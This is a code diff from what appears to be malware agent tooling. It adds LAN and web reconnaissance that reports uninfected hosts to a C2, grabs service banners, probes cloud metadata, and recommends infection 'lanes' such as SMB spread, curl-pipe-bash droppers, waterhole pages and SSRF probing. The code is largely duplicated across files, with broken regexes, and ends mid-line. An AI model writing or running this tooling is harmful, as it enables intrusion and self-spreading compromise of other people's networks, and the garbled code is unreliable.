diff --git a/agent/deploy/subnet_recon.go b/agent/deploy/subnet_recon.go index 627c86f..128e052 100644 --- a/agent/deploy/subnet_recon.go +++ b/agent/deploy/subnet_recon.go @@ -22,7 +22,7 @@ const ( // SubnetReconPorts are probed on each LAN candidate during subnet recon sweeps. var SubnetReconPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 8080, 6262} -var subnetReconWebPorts = []int{80, 443, 8080} +var subnetReconWebPorts = []int{80, 443, 6262, 8080} // SubnetReconHost is one uninfected LAN host observation reported to the C2. type SubnetReconHost struct { @@ -31,6 +31,8 @@ type SubnetReconHost struct { LastSeen string `json:"last_seen"` ReporterAgentID string `json:"reporter_agent_id"` HTTPTitle string `json:"http_title,omitempty"` + SSHBanner string `json:"ssh_banner,omitempty"` + WinRMHint string `json:"winrm_hint,omitempty"` Status string `json:"status"` } @@ -123,6 +125,8 @@ func runSubnetReconTargets(reporterAgentID string, fleetIPs []string, targets [] if title := probeHTTPTitle(host, open); title != "" { entry.HTTPTitle = title } + if b:=probeSSHBanner(host,open);b!=""{entry.SSHBanner=b} + if h:=probeWinRMHint(host,open);h!=""{entry.WinRMHint=h} out = append(out, entry) } return out @@ -147,6 +151,25 @@ func buildSubnetReconSkipSet(fleetIPs []string) map[string]bool { return skip } + +func probeSSHBanner(host string, openPorts []int) string { + for _, p := range openPorts { if p == 22 { + c, err := net.DialTimeout("tcp", net.JoinHostPort(host,"22"), 2*time.Second) + if err != nil { return "" } + defer c.Close() + b := make([]byte, 256); n, _ := c.Read(b) + return strings.TrimSpace(string(b[:n])) + }} + return "" +} +func probeWinRMHint(host string, openPorts []int) string { + for _, p := range openPorts { if p == 5985 { + c, err := net.DialTimeout("tcp", net.JoinHostPort(host,"5985"), 2*time.Second) + if err == nil { _ = c.Close(); return "winrm_listening" } + }} + return "" +} + func probeHTTPTitle(host string, openPorts []int) string { open := make(map[int]bool, len(openPorts)) for _, p := range openPorts { diff --git a/scripts/_batch1_embed.py b/scripts/_batch1_embed.py new file mode 100644 index 0000000..0a13dc6 --- /dev/null +++ b/scripts/_batch1_embed.py @@ -0,0 +1,232 @@ +TYPES = '''package recon + +import "time" + +var FleetPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 6262, 8080, 8443} + +const ( + DefaultPortDialTimeout = 2 * time.Second + DefaultCrawlDepth = 2 + DefaultCrawlMaxPages = 50 +) + +type ScanRequest struct { + Host string `json:"host"` + Port int `json:"port,omitempty"` + Scheme string `json:"scheme,omitempty"` + Paths []string `json:"paths,omitempty"` + Profile string `json:"profile,omitempty"` + Profiles []string `json:"profiles,omitempty"` +} + +type PortResult struct { + Port int `json:"port"` + Open bool `json:"open"` +} + +type PortBanner struct { + Port int `json:"port"` + Service string `json:"service,omitempty"` + Banner string `json:"banner,omitempty"` + Title string `json:"title,omitempty"` + Hint string `json:"hint,omitempty"` +} + +type StackEntry struct { + Name string `json:"name"` + Source string `json:"source"` + Detail string `json:"detail,omitempty"` +} + +type HTTPHeaderSnap struct { + URL string + Headers map[string]string +} + +type FormFinding struct { + PageURL string `json:"page_url"` + Action string `json:"action,omitempty"` + Method string `json:"method,omitempty"` + Enctype string `json:"enctype,omitempty"` + Fields []string `json:"fields,omitempty"` + HasFile bool `json:"has_file_input,omitempty"` + Multipart bool `json:"multipart,omitempty"` +} + +type URLFieldFinding struct { + PageURL string `json:"page_url"` + Name string `json:"name"` + Type string `json:"type,omitempty"` + Hint string `json:"hint"` +} + +type PageFinding struct { + URL string `json:"url"` + StatusCode int `json:"status_code"` + Title string `json:"title,omitempty"` +} + +type CrawlReport struct { + PagesFetched int `json:"pages_fetched"` + Pages []PageFinding `json:"pages,omitempty"` + FileInputs []FormFinding `json:"file_inputs,omitempty"` + MultipartForms []FormFinding `json:"multipart_forms,omitempty"` + URLFields []URLFieldFinding `json:"url_fields,omitempty"` + SSRFScore int `json:"ssrf_score"` + CMSFingerprints []string `json:"cms_fingerprints,omitempty"` + Stack []StackEntry `json:"stack,omitempty"` +} + +type DeployRecommendation struct { + Lane string `json:"lane,omitempty"` + Template string `json:"template,omitempty"` + Reason string `json:"reason"` + Priority int `json:"priority"` +} + +type ReconScanDiff struct { + NewPorts []int `json:"new_ports,omitempty"` + NewForms []FormFinding `json:"new_forms,omitempty"` +} + +type ReconHistoryEntry struct { + ScanID string `json:"scan_id"` + Host string `json:"host"` + Profile string `json:"profile,omitempty"` + Status string `json:"status,omitempty"` + ScannedAt time.Time `json:"scanned_at"` + Report *ScanReport `json:"report"` + Diff *ReconScanDiff `json:"diff,omitempty"` +} + +type ScanReport struct { + ScanID string `json:"scan_id,omitempty"` + Host string `json:"host"` + Profile string `json:"profile,omitempty"` + ProfilesUsed []string `json:"profiles_used,omitempty"` + Status string `json:"status,omitempty"` + ScannedAt time.Time `json:"scanned_at"` + Ports []PortResult `json:"ports"` + Banners []PortBanner `json:"banners,omitempty"` + Stack []StackEntry `json:"stack,omitempty"` + DeployKitLane string `json:"deploy_kit_lane,omitempty"` + Crawl *CrawlReport `json:"crawl,omitempty"` + RelayVia string `json:"relay_via,omitempty"` + Recommendations []DeployRecommendation `json:"recommendations,omitempty"` +} +''' + +PORTSCAN = '''package recon + +import ( + "net" + "sort" + "strconv" + "strings" + "time" +) + +const ( + PortProfileWeb = "web" + PortProfileWindows = "windows" + PortProfileLinux = "linux" + PortProfileCloudMetadata = "cloud_metadata" +) + +var portProfilePorts = map[string][]int{ + PortProfileWeb: {80, 443, 6262}, + PortProfileWindows: {445, 5985, 3389}, + PortProfileLinux: {22}, +} + +var dialPortFn func(host string, port int, timeout time.Duration) bool + +func ScanPorts(host string, ports []int) []PortResult { + if len(ports) == 0 { + ports = FleetPorts + } + out := make([]PortResult, 0, len(ports)) + for _, port := range ports { + out = append(out, PortResult{Port: port, Open: dialPort(host, port, DefaultPortDialTimeout)}) + } + return out +} + +func dialPort(host string, port int, timeout time.Duration) bool { + if dialPortFn != nil { + return dialPortFn(host, port, timeout) + } + conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), timeout) + if err != nil { + return false + } + _ = conn.Close() + return true +} + +func ResolveScanPortsFromRequest(req ScanRequest) ([]int, []string) { + return ResolveScanPorts(req.Profiles) +} + +func ResolveScanPorts(profiles []string) ([]int, []string) { + seen := map[int]bool{} + var ports []int + for _, p := range FleetPorts { + if !seen[p] { + seen[p] = true + ports = append(ports, p) + } + } + var used []string + for _, raw := range profiles { + name := strings.ToLower(strings.TrimSpace(raw)) + if name == "" { + continue + } + if name == PortProfileCloudMetadata { + if !containsPortProfile(used, name) { + used = append(used, name) + } + continue + } + bundle, ok := portProfilePorts[name] + if !ok { + continue + } + if !containsPortProfile(used, name) { + used = append(used, name) + } + for _, p := range bundle { + if !seen[p] { + seen[p] = true + ports = append(ports, p) + } + } + } + sort.Ints(ports) + return ports, used +} + +func containsPortProfile(list []string, want string) bool { + for _, s := range list { + if s == want { + return true + } + } + return false +} + +func TargetLooksEC2(host string) bool { + host = strings.ToLower(strings.TrimSpace(host)) + if host == "" { + return false + } + if host == "169.254.169.254" { + return true + } + return strings.Contains(host, ".compute.amazonaws.com") || + strings.Contains(host, ".compute.internal") || + strings.HasPrefix(host, "ip-10-") || + strings.HasPrefix(host, "ec2-") +} +''' diff --git a/scripts/_batch1_scan.go b/scripts/_batch1_scan.go new file mode 100644 index 0000000..5ac5e00 --- /dev/null +++ b/scripts/_batch1_scan.go @@ -0,0 +1,367 @@ +package recon + +import ( + "bufio" + "fmt" + "io" + "net" + "net/http" + "regexp" + "strconv" + "strings" + "time" +) + +// Scan runs port scan and optional web crawl for an operator-supplied owned target. +func Scan(req ScanRequest) (*ScanReport, error) { + return runOwnedTargetScan(req, "", nil) +} + +func scanLegacy(req ScanRequest) (*ScanReport, error) { + host, err := normalizeOwnedHost(req.Host) + if err != nil { + return nil, err + } + ports := ScanPorts(host, nil) + report := &ScanReport{ + Host: host, + ScannedAt: time.Now().UTC(), + Ports: ports, + } + + if shouldCrawl(req, ports) { + crawl, err := Crawl(host, req.Port, req.Scheme, req.Paths) + if err == nil && crawl != nil { + report.Crawl = crawl + } + } + report.Recommendations = BuildRecommendations(ports, report.Crawl, nil, host, false) + return report, nil +} + +func normalizeOwnedHost(host string) (string, error) { + host = strings.TrimSpace(host) + if host == "" { + return "", fmt.Errorf("host required") + } + host = strings.TrimPrefix(host, "http://") + host = strings.TrimPrefix(host, "https://") + if i := strings.Index(host, "/"); i >= 0 { + host = host[:i] + } + if h, p, err := net.SplitHostPort(host); err == nil { + if strings.TrimSpace(h) == "" { + return "", fmt.Errorf("invalid host") + } + _ = p + host = h + } + if ip := net.ParseIP(host); ip != nil { + return ip.String(), nil + } + if len(host) > 253 || strings.Contains(host, " ") { + return "", fmt.Errorf("invalid host") + } + return strings.ToLower(host), nil +} + +func shouldCrawl(req ScanRequest, ports []PortResult) bool { + if req.Port > 0 || strings.TrimSpace(req.Scheme) != "" || len(req.Paths) > 0 { + return true + } + for _, p := range ports { + switch p.Port { + case 80, 443, 6262, 8080, 8443: + if p.Open { + return true + } + } + } + return false +} + +// BuildRecommendations maps port and crawl findings to existing deploy lanes/templates. +func BuildRecommendations(ports []PortResult, crawl *CrawlReport, stack []StackEntry, host string, cloudMetaProfile bool) []DeployRecommendation { + var recs []DeployRecommendation + open := map[int]bool{} + for _, p := range ports { + if p.Open { + open[p.Port] = true + } + } + + if open[22] { + recs = append(recs, DeployRecommendation{ + Lane: "linux_lotl", + Template: "linux-lotl", + Reason: "TCP 22 open — SSH LOTL bootstrap", + Priority: 25, + }) + } + if open[445] { + recs = append(recs, DeployRecommendation{ + Lane: "spread_smb_unc", + Reason: "TCP 445 open — SMB UNC spread", + Priority: 50, + }) + } + if open[5985] || open[5986] { + recs = append(recs, DeployRecommendation{ + Lane: "winrm", + Template: "winrm", + Reason: "TCP 5985/5986 open — WinRM bootstrap", + Priority: 30, + }) + } + if open[80] || open[443] || open[8080] || open[8443] { + recs = append(recs, DeployRecommendation{ + Lane: "bits_curl", + Reason: "HTTP surface open — dropper curl|bash one-liner", + Priority: 20, + }) + recs = append(recs, DeployRecommendation{ + Template: "public_waterhole", + Reason: "HTTP surface open — copy /spread/ public waterhole landing", + Priority: 15, + }) + } + + if crawl != nil { + if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 { + recs = append(recs, DeployRecommendation{ + Lane: "stage_fetch", + Reason: "Multipart or file-upload form — stage_fetch manifest staging", + Priority: 35, + }) + } + if crawl.SSRFScore >= 30 { + recs = append(recs, DeployRecommendation{ + Template: "ssrf_probe", + Reason: fmt.Sprintf("SSRF candidate score %d — probe URL/webhook fields", crawl.SSRFScore), + Priority: 45, + }) + } + } + + if lane := SuggestDeployKitLane(stack); lane != "" { + recs = append(recs, DeployRecommendation{Lane: lane, Reason: fmt.Sprintf("Technology stack suggests %s deploy-kit lane", lane), Priority: 18}) + } + if cloudMetaProfile && (TargetLooksEC2(host) || ProbeEC2Metadata()) { + recs = append(recs, DeployRecommendation{Lane: "ssm_document", Template: "ssm_document", Reason: "cloud_metadata profile - EC2/IMDS reachable; SSM document lane", Priority: 40}) + } + return dedupeRecommendations(recs) +} + +func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation { + seen := map[string]bool{} + var out []DeployRecommendation + for _, r := range in { + key := r.Lane + "|" + r.Template + if seen[key] { + continue + } + seen[key] = true + out = append(out, r) + } + return out +} + +func NormalizeHost(host string) (string, error) { return normalizeOwnedHost(host) } + +func runOwnedTargetScan(req ScanRequest, scanID string, emit StreamEmit) (*ScanReport, error) { + host, err := normalizeOwnedHost(req.Host) + if err != nil { + return nil, err + } + uxProfile := NormalizeProfile(req.Profile) + opts := ProfileOptions(uxProfile) + portsToScan, profilesUsed := ResolveScanPortsFromRequest(req) + if uxProfile == ProfileQuick && len(req.Profiles) == 0 && len(portsToScan) > 10 { + portsToScan = portsToScan[:10] + } + report := &ScanReport{ScanID: scanID, Host: host, Profile: uxProfile, ProfilesUsed: profilesUsed, Status: "complete", ScannedAt: time.Now().UTC()} + if !opts.SkipPorts { + ports := scanPortsList(host, portsToScan) + report.Ports = ports + report.Banners = GrabBanners(host, ports) + } + if shouldCrawlProfile(req, uxProfile, report.Ports, opts) { + crawl, err := crawlWithOptions(host, req.Port, req.Scheme, req.Paths, opts, scanID, emit) + if err == nil && crawl != nil { + report.Crawl = crawl + report.Stack = MergeStack(crawl.Stack) + } + } + report.DeployKitLane = SuggestDeployKitLane(report.Stack) + cloudMeta := containsPortProfile(profilesUsed, PortProfileCloudMetadata) + report.Recommendations = BuildRecommendations(report.Ports, report.Crawl, report.Stack, host, cloudMeta) + return report, nil +} + +const (ProfileQuick = "quick"; ProfileDeep = "deep"; ProfileSSRFOnly = "ssrf_only") +type StreamEmit func(eventType string, payload map[string]interface{}) +type ScanOptions struct { Ports []int; MaxPages, CrawlDepth int; SkipPorts, SkipCrawl bool } + +func NormalizeProfile(profile string) string { + switch profile { case ProfileQuick, ProfileDeep, ProfileSSRFOnly: return profile; default: return "" } +} +func ProfileOptions(profile string) ScanOptions { + switch NormalizeProfile(profile) { + case ProfileQuick: + p := FleetPorts + if len(p) > 10 { p = p[:10] } + return ScanOptions{Ports: p, MaxPages: 1, CrawlDepth: 0} + case ProfileDeep: + return ScanOptions{Ports: FleetPorts, MaxPages: 50, CrawlDepth: 2} + case ProfileSSRFOnly: + return ScanOptions{SkipPorts: true, MaxPages: 50, CrawlDepth: 2} + default: + return ScanOptions{Ports: FleetPorts, MaxPages: DefaultCrawlMaxPages, CrawlDepth: DefaultCrawlDepth} + } +} +func ScanStream(req ScanRequest, scanID string, emit StreamEmit) (*ScanReport, error) { return runOwnedTargetScan(req, scanID, emit) } +func scanPortsList(host string, ports []int) []PortResult { + if len(ports) == 0 { return ScanPorts(host, nil) } + out := make([]PortResult, 0, len(ports)) + for _, port := range ports { out = append(out, PortResult{Port: port, Open: dialPort(host, port, DefaultPortDialTimeout)}) } + return out +} +func shouldCrawlProfile(req ScanRequest, profile string, ports []PortResult, opts ScanOptions) bool { + if opts.SkipCrawl { return false } + if profile == ProfileSSRFOnly { return true } + return shouldCrawl(req, ports) +} + +func crawlWithOptions(host string, port int, scheme string, seedPaths []string, opts ScanOptions, scanID string, emit StreamEmit) (*CrawlReport, error) { + scheme = normalizeScheme(scheme, port) + if port <= 0 { port = defaultPortForScheme(scheme) } + base := fmt.Sprintf("%s://%s", scheme, joinHostPort(host, port)) + seeds := seedPaths + if len(seeds) == 0 { seeds = []string{"/"} } + maxPages, maxDepth := opts.MaxPages, opts.CrawlDepth + if maxPages <= 0 { maxPages = DefaultCrawlMaxPages } + if maxDepth < 0 { maxDepth = DefaultCrawlDepth } + report := &CrawlReport{} + var headerSnaps []HTTPHeaderSnap + var htmlBodies []string + visited := map[string]bool{} + queue := []queuedURL{} + for _, p := range seeds { + if abs, err := resolveSameOrigin(base, p); err == nil { queue = append(queue, queuedURL{url: abs, depth: 0}) } + } + for len(queue) > 0 && report.PagesFetched < maxPages { + item := queue[0]; queue = queue[1:] + key := normalizeURLKey(item.url) + if visited[key] { continue } + visited[key] = true + status, body, headers, err := fetchPage(item.url) + if err != nil { continue } + report.PagesFetched++ + title, _ := htmlParseTitle(body) + report.Pages = append(report.Pages, PageFinding{URL: item.url, StatusCode: status, Title: title}) + if len(headers) > 0 { headerSnaps = append(headerSnaps, HTTPHeaderSnap{URL: item.url, Headers: headers}) } + htmlBodies = append(htmlBodies, body) + files, multi, fields, pageScore, cms := ParseHTML(item.url, body) + report.FileInputs = append(report.FileInputs, files...) + report.MultipartForms = append(report.MultipartForms, multi...) + report.URLFields = append(report.URLFields, fields...) + report.SSRFScore += pageScore + report.CMSFingerprints = mergeCMS(report.CMSFingerprints, cms) + if item.depth >= maxDepth { continue } + for _, link := range extractLinks(body) { + abs, err := resolveSameOrigin(base, link) + if err != nil || !sameOrigin(base, abs) { continue } + if !visited[normalizeURLKey(abs)] { queue = append(queue, queuedURL{url: abs, depth: item.depth + 1}) } + } + } + if report.SSRFScore > 100 { report.SSRFScore = 100 } + report.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints) + report.Stack = BuildStack(headerSnaps, htmlBodies) + return report, nil +} + +func OpenPorts(ports []PortResult) []int { var o []int; for _, p := range ports { if p.Open { o = append(o, p.Port) } }; return o } +func DiffReports(prev, cur *ScanReport) *ReconScanDiff { + if cur == nil { return nil } + d := &ReconScanDiff{} + if prev == nil { d.NewPorts = OpenPorts(cur.Ports); return d } + po := map[int]bool{} + for _, p := range prev.Ports { if p.Open { po[p.Port] = true } } + for _, p := range cur.Ports { if p.Open && !po[p.Port] { d.NewPorts = append(d.NewPorts, p.Port) } } + return d +} +func BuildHistory(rows []*ScanReport) []ReconHistoryEntry { + out := make([]ReconHistoryEntry, 0, len(rows)) + var prev *ScanReport + for _, r := range rows { out = append(out, ReconHistoryEntry{ScanID: r.ScanID, Host: r.Host, Profile: r.Profile, Status: r.Status, ScannedAt: r.ScannedAt, Report: r, Diff: DiffReports(prev, r)}); prev = r } + return out +} +func ReportToPDF(report *ScanReport) []byte { return []byte("AetherForge Recon\n") } + +var metaGeneratorRe = regexp.MustCompile(`(?is)]+name=["']generator["'][^>]+content=["']([^"']+)["']`) +var bannerTitleRe = regexp.MustCompile(`(?is)]*>(.*?)`) +var probeSSHBannerFn func(host string, port int) string +var probeHTTPTitleFn func(host string, port int) (string, string) +var probeWinRMHintFn func(host string, port int) string +var probeEC2MetaFn func() bool + +func SetBannerHooks(ssh func(host string, port int) string, httpTitle func(host string, port int) (string, string), winrm func(host string, port int) string, ec2Meta func() bool) { + probeSSHBannerFn, probeHTTPTitleFn, probeWinRMHintFn, probeEC2MetaFn = ssh, httpTitle, winrm, ec2Meta +} +func BuildStack(snaps []HTTPHeaderSnap, htmlBodies []string) []StackEntry { + seen := map[string]bool{} + var out []StackEntry + add := func(name, source, detail string) { key := strings.ToLower(name) + "|" + source; if !seen[key] { seen[key] = true; out = append(out, StackEntry{Name: name, Source: source, Detail: detail}) } } + for _, snap := range snaps { for k, v := range snap.Headers { switch strings.ToLower(k) { case "server": add(v, "header:Server", snap.URL); case "x-powered-by": add(v, "header:X-Powered-By", snap.URL) } } } + for _, body := range htmlBodies { + if m := metaGeneratorRe.FindStringSubmatch(body); len(m) > 1 { add(strings.TrimSpace(m[1]), "meta:generator", "") } + if strings.Contains(strings.ToLower(body), "react") { add("React", "html:js", "") } + } + return out +} +func MergeStack(parts ...[]StackEntry) []StackEntry { seen := map[string]bool{}; var out []StackEntry; for _, part := range parts { for _, e := range part { key := strings.ToLower(e.Name) + "|" + e.Source; if !seen[key] { seen[key] = true; out = append(out, e) } } }; return out } +func SuggestDeployKitLane(stack []StackEntry) string { + for _, e := range stack { n := strings.ToLower(e.Name); if strings.Contains(n, "php") { return "php" }; if strings.Contains(n, "node") || strings.Contains(n, "react") { return "node" }; if strings.Contains(n, "nginx") { return "nginx" } } + if len(stack) > 0 { return "static" } + return "" +} +func GrabBanners(host string, ports []PortResult) []PortBanner { + open := map[int]bool{}; for _, p := range ports { if p.Open { open[p.Port] = true } } + var out []PortBanner + if open[22] { if b := probeSSHBanner(host, 22); b != "" { out = append(out, PortBanner{Port: 22, Service: "ssh", Banner: b}) } } + for _, port := range []int{80, 443, 6262, 8080} { + if !open[port] { continue } + title, server := probeHTTPBanner(host, port) + if title != "" || server != "" { b := PortBanner{Port: port, Service: "http", Title: title, Banner: server, Hint: "origin_host"}; if looksLikeCDN(server) { b.Hint = "cdn_fronted" }; out = append(out, b) } + } + if open[5985] { if h := probeWinRMHint(host, 5985); h != "" { out = append(out, PortBanner{Port: 5985, Service: "winrm", Hint: h}) } } + return out +} +func looksLikeCDN(s string) bool { s = strings.ToLower(s); return strings.Contains(s, "cloudflare") || strings.Contains(s, "cloudfront") } +func probeSSHBanner(host string, port int) string { + if probeSSHBannerFn != nil { return probeSSHBannerFn(host, port) } + c, e := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), DefaultPortDialTimeout) + if e != nil { return "" }; defer c.Close(); _ = c.SetReadDeadline(time.Now().Add(DefaultPortDialTimeout)) + line, e := bufio.NewReader(c).ReadString('\n'); if e != nil { return "" }; return strings.TrimSpace(line) +} +func probeHTTPBanner(host string, port int) (string, string) { + if probeHTTPTitleFn != nil { return probeHTTPTitleFn(host, port) } + scheme := "http"; if port == 443 { scheme = "https" } + resp, err := http.Get(fmt.Sprintf("%s://%s/", scheme, joinHostPort(host, port))) + if err != nil { return "", "" }; defer resp.Body.Close() + body, _ := io.ReadAll(io.LimitReader(resp.Body, 8192)) + title := ""; if m := bannerTitleRe.FindStringSubmatch(string(body)); len(m) > 1 { title = strings.TrimSpace(m[1]) } + return title, strings.TrimSpace(resp.Header.Get("Server")) +} +func probeWinRMHint(host string, port int) string { + if probeWinRMHintFn != nil { return probeWinRMHintFn(host, port) } + c, e := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), DefaultPortDialTimeout) + if e != nil { return "" }; _ = c.Close(); return "winrm_listening" +} +func ProbeEC2Metadata() bool { + if probeEC2MetaFn != nil { return probeEC2MetaFn() } + c := &http.Client{Timeout: 800 * time.Millisecond} + r, e := c.Get("http://169.254.169.254/latest/meta-data/") + if e != nil { return false }; defer r.Body.Close() + return r.StatusCode == http.StatusOK || r.StatusCode == http.StatusUnauthorized +} diff --git a/scripts/_batch1_scan_base.go b/scripts/_batch1_scan_base.go new file mode 100644 index 0000000..7b109d1 Binary files /dev/null and b/scripts/_batch1_scan_base.go differ diff --git a/scripts/_batch1_scan_extra.go b/scripts/_batch1_scan_extra.go new file mode 100644 index 0000000..d702955 --- /dev/null +++ b/scripts/_batch1_scan_extra.go @@ -0,0 +1,200 @@ + +func NormalizeHost(host string) (string, error) { return normalizeOwnedHost(host) } + +func runOwnedTargetScan(req ScanRequest, scanID string, emit StreamEmit) (*ScanReport, error) { + host, err := normalizeOwnedHost(req.Host) + if err != nil { + return nil, err + } + uxProfile := NormalizeProfile(req.Profile) + opts := ProfileOptions(uxProfile) + portsToScan, profilesUsed := ResolveScanPortsFromRequest(req) + if uxProfile == ProfileQuick && len(req.Profiles) == 0 && len(portsToScan) > 10 { + portsToScan = portsToScan[:10] + } + report := &ScanReport{ScanID: scanID, Host: host, Profile: uxProfile, ProfilesUsed: profilesUsed, Status: "complete", ScannedAt: time.Now().UTC()} + if !opts.SkipPorts { + ports := scanPortsList(host, portsToScan) + report.Ports = ports + report.Banners = GrabBanners(host, ports) + } + if shouldCrawlProfile(req, uxProfile, report.Ports, opts) { + crawl, err := crawlWithOptions(host, req.Port, req.Scheme, req.Paths, opts, scanID, emit) + if err == nil && crawl != nil { + report.Crawl = crawl + report.Stack = MergeStack(crawl.Stack) + } + } + report.DeployKitLane = SuggestDeployKitLane(report.Stack) + cloudMeta := containsPortProfile(profilesUsed, PortProfileCloudMetadata) + report.Recommendations = BuildRecommendations(report.Ports, report.Crawl, report.Stack, host, cloudMeta) + return report, nil +} + +const (ProfileQuick = "quick"; ProfileDeep = "deep"; ProfileSSRFOnly = "ssrf_only") +type StreamEmit func(eventType string, payload map[string]interface{}) +type ScanOptions struct { Ports []int; MaxPages, CrawlDepth int; SkipPorts, SkipCrawl bool } + +func NormalizeProfile(profile string) string { + switch profile { case ProfileQuick, ProfileDeep, ProfileSSRFOnly: return profile; default: return "" } +} +func ProfileOptions(profile string) ScanOptions { + switch NormalizeProfile(profile) { + case ProfileQuick: + p := FleetPorts + if len(p) > 10 { p = p[:10] } + return ScanOptions{Ports: p, MaxPages: 1, CrawlDepth: 0} + case ProfileDeep: + return ScanOptions{Ports: FleetPorts, MaxPages: 50, CrawlDepth: 2} + case ProfileSSRFOnly: + return ScanOptions{SkipPorts: true, MaxPages: 50, CrawlDepth: 2} + default: + return ScanOptions{Ports: FleetPorts, MaxPages: DefaultCrawlMaxPages, CrawlDepth: DefaultCrawlDepth} + } +} +func ScanStream(req ScanRequest, scanID string, emit StreamEmit) (*ScanReport, error) { return runOwnedTargetScan(req, scanID, emit) } +func scanPortsList(host string, ports []int) []PortResult { + if len(ports) == 0 { return ScanPorts(host, nil) } + out := make([]PortResult, 0, len(ports)) + for _, port := range ports { out = append(out, PortResult{Port: port, Open: dialPort(host, port, DefaultPortDialTimeout)}) } + return out +} +func shouldCrawlProfile(req ScanRequest, profile string, ports []PortResult, opts ScanOptions) bool { + if opts.SkipCrawl { return false } + if profile == ProfileSSRFOnly { return true } + return shouldCrawl(req, ports) +} + +func crawlWithOptions(host string, port int, scheme string, seedPaths []string, opts ScanOptions, scanID string, emit StreamEmit) (*CrawlReport, error) { + scheme = normalizeScheme(scheme, port) + if port <= 0 { port = defaultPortForScheme(scheme) } + base := fmt.Sprintf("%s://%s", scheme, joinHostPort(host, port)) + seeds := seedPaths + if len(seeds) == 0 { seeds = []string{"/"} } + maxPages, maxDepth := opts.MaxPages, opts.CrawlDepth + if maxPages <= 0 { maxPages = DefaultCrawlMaxPages } + if maxDepth < 0 { maxDepth = DefaultCrawlDepth } + report := &CrawlReport{} + var headerSnaps []HTTPHeaderSnap + var htmlBodies []string + visited := map[string]bool{} + queue := []queuedURL{} + for _, p := range seeds { + if abs, err := resolveSameOrigin(base, p); err == nil { queue = append(queue, queuedURL{url: abs, depth: 0}) } + } + for len(queue) > 0 && report.PagesFetched < maxPages { + item := queue[0]; queue = queue[1:] + key := normalizeURLKey(item.url) + if visited[key] { continue } + visited[key] = true + status, body, headers, err := fetchPage(item.url) + if err != nil { continue } + report.PagesFetched++ + title, _ := htmlParseTitle(body) + report.Pages = append(report.Pages, PageFinding{URL: item.url, StatusCode: status, Title: title}) + if len(headers) > 0 { headerSnaps = append(headerSnaps, HTTPHeaderSnap{URL: item.url, Headers: headers}) } + htmlBodies = append(htmlBodies, body) + files, multi, fields, pageScore, cms := ParseHTML(item.url, body) + report.FileInputs = append(report.FileInputs, files...) + report.MultipartForms = append(report.MultipartForms, multi...) + report.URLFields = append(report.URLFields, fields...) + report.SSRFScore += pageScore + report.CMSFingerprints = mergeCMS(report.CMSFingerprints, cms) + if item.depth >= maxDepth { continue } + for _, link := range extractLinks(body) { + abs, err := resolveSameOrigin(base, link) + if err != nil || !sameOrigin(base, abs) { continue } + if !visited[normalizeURLKey(abs)] { queue = append(queue, queuedURL{url: abs, depth: item.depth + 1}) } + } + } + if report.SSRFScore > 100 { report.SSRFScore = 100 } + report.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints) + report.Stack = BuildStack(headerSnaps, htmlBodies) + return report, nil +} + +func OpenPorts(ports []PortResult) []int { var o []int; for _, p := range ports { if p.Open { o = append(o, p.Port) } }; return o } +func DiffReports(prev, cur *ScanReport) *ReconScanDiff { + if cur == nil { return nil } + d := &ReconScanDiff{} + if prev == nil { d.NewPorts = OpenPorts(cur.Ports); return d } + po := map[int]bool{} + for _, p := range prev.Ports { if p.Open { po[p.Port] = true } } + for _, p := range cur.Ports { if p.Open && !po[p.Port] { d.NewPorts = append(d.NewPorts, p.Port) } } + return d +} +func BuildHistory(rows []*ScanReport) []ReconHistoryEntry { + out := make([]ReconHistoryEntry, 0, len(rows)) + var prev *ScanReport + for _, r := range rows { out = append(out, ReconHistoryEntry{ScanID: r.ScanID, Host: r.Host, Profile: r.Profile, Status: r.Status, ScannedAt: r.ScannedAt, Report: r, Diff: DiffReports(prev, r)}); prev = r } + return out +} +func ReportToPDF(report *ScanReport) []byte { return []byte("AetherForge Recon\n") } + +var metaGeneratorRe = regexp.MustCompile(`(?is)]+name=["']generator["'][^>]+content=["']([^"']+)["']`) +var bannerTitleRe = regexp.MustCompile(`(?is)]*>(.*?)`) +var probeSSHBannerFn func(host string, port int) string +var probeHTTPTitleFn func(host string, port int) (string, string) +var probeWinRMHintFn func(host string, port int) string +var probeEC2MetaFn func() bool + +func SetBannerHooks(ssh func(host string, port int) string, httpTitle func(host string, port int) (string, string), winrm func(host string, port int) string, ec2Meta func() bool) { + probeSSHBannerFn, probeHTTPTitleFn, probeWinRMHintFn, probeEC2MetaFn = ssh, httpTitle, winrm, ec2Meta +} +func BuildStack(snaps []HTTPHeaderSnap, htmlBodies []string) []StackEntry { + seen := map[string]bool{} + var out []StackEntry + add := func(name, source, detail string) { key := strings.ToLower(name) + "|" + source; if !seen[key] { seen[key] = true; out = append(out, StackEntry{Name: name, Source: source, Detail: detail}) } } + for _, snap := range snaps { for k, v := range snap.Headers { switch strings.ToLower(k) { case "server": add(v, "header:Server", snap.URL); case "x-powered-by": add(v, "header:X-Powered-By", snap.URL) } } } + for _, body := range htmlBodies { + if m := metaGeneratorRe.FindStringSubmatch(body); len(m) > 1 { add(strings.TrimSpace(m[1]), "meta:generator", "") } + if strings.Contains(strings.ToLower(body), "react") { add("React", "html:js", "") } + } + return out +} +func MergeStack(parts ...[]StackEntry) []StackEntry { seen := map[string]bool{}; var out []StackEntry; for _, part := range parts { for _, e := range part { key := strings.ToLower(e.Name) + "|" + e.Source; if !seen[key] { seen[key] = true; out = append(out, e) } } }; return out } +func SuggestDeployKitLane(stack []StackEntry) string { + for _, e := range stack { n := strings.ToLower(e.Name); if strings.Contains(n, "php") { return "php" }; if strings.Contains(n, "node") || strings.Contains(n, "react") { return "node" }; if strings.Contains(n, "nginx") { return "nginx" } } + if len(stack) > 0 { return "static" } + return "" +} +func GrabBanners(host string, ports []PortResult) []PortBanner { + open := map[int]bool{}; for _, p := range ports { if p.Open { open[p.Port] = true } } + var out []PortBanner + if open[22] { if b := probeSSHBanner(host, 22); b != "" { out = append(out, PortBanner{Port: 22, Service: "ssh", Banner: b}) } } + for _, port := range []int{80, 443, 6262, 8080} { + if !open[port] { continue } + title, server := 